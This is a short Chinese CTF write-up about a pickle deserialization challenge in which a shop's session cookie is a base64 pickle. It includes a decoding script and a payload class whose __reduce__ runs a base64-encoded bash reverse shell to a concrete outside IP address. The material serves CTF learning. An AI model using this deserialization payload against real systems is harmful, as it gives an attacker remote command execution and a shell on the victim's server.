考点:
1.pickle反序列化
2.反弹shell
3.session伪造
上手:
开局:
开局让你买东西 很明确有一个贵的 然后左上角是自己的钱 也直接明了说明那个就是flag 但是买不起
点击购买后钱会变少
感觉没什么点 就抓包看看
session看起来像base64就去弄下 主要是其他也看不出说明 id穿参也弄不出来 题目也很直接给了是pickle 就能想到pickle反序列化
解码后果然得到一些看不懂的 就用pickle去看看
脚本
import pickle
from base64 import *
enc = "gAN9cQAoWAUAAABtb25leXEBTZABWAcAAABoaXN0b3J5cQJdcQNYFAAAAFl1bW15IHNtw7ZyZ8Olc2d1cmthcQRhWBAAAABhbnRpX3RhbXBlcl9obWFjcQVYIAAAADQ2NGZiNTE5ZWNjZDkwMDM3Y2E4MDczMTlkNDU3ODZkcQZ1Lg=="
print(pickle.loads(b64decode(enc)))
#得:{'money': 400, 'history': ['Yummy smörgåsgurka'], 'anti_tamper_hmac': '464fb519eccd90037ca807319d45786d'}
在脚本上decode再pickle.loads不然在在其他网站带来的base64有不知道是什么的字符
思路:
得到的东西就后面看见是加密的嘛 有想过能不能改钱 改到1000给flag买了
但是加密这个东东感觉不太行 就去看其他师傅了
看了其他师傅的wp是用反序列化后上传session反弹shell
import base64
import pickle
class shell(object):
def __reduce__(self):
# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64
#不能直接bash -i 0>&1那种写法,因为像是&这些符号 都是linux的shell关键字 会影响他的语法
return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMTMyLjEzNy43My8yMCAwPiYx | base64 -d | bash ')",))
k = shell()
print(base64.b64encode(pickle.dumps(k)))
其实很简单的操作 就自己买了个腾讯的服务器给我弄不会了 然后弄了几天 受不辽了 就回原来用的阿里云服务器反弹了 我能说什么....(真没打广告
小结:
这波浪费时间有自己好久没反弹shell手生的原因,就是太菜了,不找借口了,就是菜,回头做出来看真的很简单的,慢慢来,想了想自己也不应该死磕这个反弹shell,早点回头去用阿里云的服务器做早做出来了,哭了
开摆了